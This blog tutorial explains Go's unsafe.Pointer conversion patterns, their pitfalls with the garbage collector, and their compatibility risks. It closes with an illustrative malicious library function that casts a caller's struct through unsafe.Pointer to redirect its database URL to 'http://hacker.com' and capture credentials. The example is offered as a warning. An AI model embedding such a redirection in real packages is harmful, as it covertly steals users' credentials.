Is unsafe ...unsafe? Pt. 2
In the previous post, I have told about unsafe package motivation and functions. There is one more thing left unexplained
type Pointer
This type represents a pointer to an arbitrary type, which means that unsafe.Pointer
can be converted to the pointer value of any type or uintptr
and back.
You might be wondering: are there any restrictions? No, and yes … you can convert Pointer however you want but you have to deal with consequences. To reduce the number of possible problems you can use certain patterns:
“The following patterns involving Pointer are valid. Code not using these patterns is likely to be invalid today or to become invalid in the future. Even the valid patterns below come with important caveats.”, golang.org
You can also use go vet
, but it won’t save you from all kinds of problems. So I recommend you to follow those patterns, as this is the only way to reduce errors: this is the way…
Fast copy
If you have 2 types that have the same memory layout, to avoid memory allocation you can copy the value of variable type T1
to variable type T2
by converting pointer of type *T1
to the pointer of type *T2
using next mechanism:
ptrT1 := &T1{}
ptrT2 = (*T2)(unsafe.Pointer(ptrT1))
But be careful, this conversion comes at a price, now 2 pointers point to the same memory address, so changes made for each pointer will be applied for another pointer as well, check it in the playground
unsafe.Pointer != uintptr
I’ve already mentioned that Pointer
can be converted to the uintptr
and back, but there are some special conditions for conversing back.
unsafe.Pointer
is a real pointer, it does not only keeps memory address but the dynamic link to the address meanwhile uintptr
is just a number, it’s smaller but small size comes at the price.
If you convert unsafe.Pointer
to the uintptr
there can be no references to the pointed variable and Garbage collector can easily collect that memory before you convert uintptr
back to the unsafe.Pointer
.
There are at least 2 solutions to save you from GC. The first one is complex and really shows what do you have to sacrifice for unsafe
package usage.
There is a special function, runtime.KeepAlive
that protects memory of a passed variable from GC up to the point when this function will be called. It sounds complex and it is even more complex in usage.
Check out the example in the playground.
Pointer arithmetic
There is the another way to save your forgotten variable from GC. You can convert unsafe.Pointer
to the uintptr
in the same expression.
Since uintptr
is just a number we can do all peculiar arithmetic operations like addition or subtraction.
How can we use it? Pointer arithmetic can get us any needed data by knowing the memory layout and doing arithmetic operations.
Let’s examine the next example:
x := [4]byte{10, 11, 12, 13}
elPtr := unsafe.Pointer(uintptr(unsafe.Pointer(&x[0])) + 3*unsafe.Sizeof(x[0]))
Having pointer to the first element of the byte array we can get the last one without using indexes. If shifting the pointer by the size of three bytes we can get the last element. Let me visualize:
Check out the example in the playground
So, doing all the conversions in one expression saves us from GC cleaning. 3Three above-mentioned patterns show how to properly convert unsafe.Pointer
to other data types in different cases.
Syscalls
In the package syscall
, we have a function syscall.Syscall
that receives pointers in uintptr
format, we can get uintptr
through the unsafe.Pointer
.
Important note that you have to do the conversion with GC on your mind:
a := &A{1}
b := &A{2}
syscall.Syscall(0, uintptr(unsafe.Pointer(a)), uintptr(unsafe.Pointer(b))) // Right
aPtr := uintptr(unsafe.Pointer(a)
bPtr := uintptr(unsafe.Pointer(b)
syscall.Syscall(0, aPtr, bPtr) // Wrong
Check out the example in the playground
reflect.Value.Pointer and reflect.Value.UnsafeAddr
There are 2 methods in package reflect
, Pointer and UnsafeAddr, they return uintptr
as a result so we should immediately convert the result to unsafe.Pointer
because of our friend - GC:
p1 := (*int)(unsafe.Pointer(reflect.ValueOf(new(int)).Pointer())) // Right
ptr := reflect.ValueOf(new(int)).Pointer() // Wrong
p2 := (*int)(unsafe.Pointer(ptr) // Wrong
Check out the example in the playground
reflect.SliceHeader and reflect.StringHeader
There are 2 types in package reflect
, SliceHeader
and StringHeader
that have field Data uintptr
. As you remember uintptr
usually goes with unsafe.Pointer
, here is the snippet:
var s string
hdr := (*reflect.StringHeader)(unsafe.Pointer(&s))
hdr.Data = uintptr(unsafe.Pointer(p))
hdr.Len = n
Check the example in the playground
There were all possible patterns of unsafe.Pointer
usage, all cases that don’t follow those patterns or derive from those patterns are likely invalid.
But unsafe
package brings problems not only in code but outside of it too. Let’s review a couple of them.
Compatibility
Go has compatibility guideline that guarantees saving compatibility with version updates.
In plain words, it guarantees that your code will work after Go 1 version update…but not in case you’ve imported unsafe
package. Usage of unsafe
might break your code with every release:
major, minor, even security patch. So before the import, just try to imagine a situation where your customer asks you why we can’t patch Go version to remove vulnerability or why after update nothing works anymore.
Different behavior
Do you know all Go data types? Have you heard about int
? Why do we have int
if we already have int32
and int64
?
The thing is int
is converted to int32
or int64
depending on computer architecture(x32 or x64 respectively).
So just remember that unsafe
functions results and memory layouts can be different on different architectures, for example:
var s string
unsafe.Sizeof(s) // 8 on x32 and 16 on x64
To be sure run this code in the playground and then try on your own machine, you should get different results if your architecture isn’t x32.
Community activity
I was wondering: if this package is so dangerous, how many daredevils are using it. I have searched that on Github.
There were not many mentions comparing to the crypto or math and more than half of them were about tricks and deviations that you can produce using unsafe
, not some real usage.
Enthusiasts
There are many people and many ideas, recently I have found this article that shows a new approach to work with int
and uses pointer operations, in short, it looks like this:
var foo int
fooslice = (*[1]int)(unsafe.Pointer(&foo))[:]
I won’t provide my opinion for this construction, I will only mention that you should be ready for this kind of constructions once you have imported unsafe
.
Community pressure
Recently one incident happened in Rust community. Long story short: one guy, Nikolay Kim, creator of actix project made actix repositories private under massive pressure from the community. Later on returned repos back, promoted one of the contributors to the owner and left.
All of that happened because some people thought that the usage of unsafe package was too dangerous to use. I understand that it didn’t happen in Go community and there is no only right opinion about that.
The only thing I want is to warn you, if you import unsafe
in your code, be ready, community is coming🧨.
One last thing
I personally tried to think about evil possibilities that unsafe
provides, here is an example of a stealing with a help of unsafe
.
Imagine you import some third-party package that does some useful operation, like wrapping your DB client object and logger into one entity to make logging of all operation easier or,
like in my example, some function that returns spiritual animal of your object…
package main
import (
"fmt"
"third-party/safelib"
)
func main() {
a := safelib.NewA("https://google.com", "1234") // Url and password
fmt.Println("My spiritual animal is: ", safelib.DoSomeHipsterMagic(a))
a.Show()
}
Inside of that function we assert interface{}
to some known type and fast copy to some Malicious
type that has methods to get and set private fields like url
and password
.
So this package can pull out all interesting data or even substitute the url so next time you try to connect to your DB someone will grab your credentials.
func DoSomeHipsterMagic(any interface{}) string {
if a, ok := any.(*A); ok {
mal := (*Malicious)(unsafe.Pointer(a))
mal.setURL("http://hacker.com")
}
return "Cool green dragon, arrh 🐉"
}
Check out working example in playground
That was my review of unsafe
package.
TL;DR
All technologies come at a certain price, but unsafe
is especially “expensive” so my adviсe is to think twice before using it.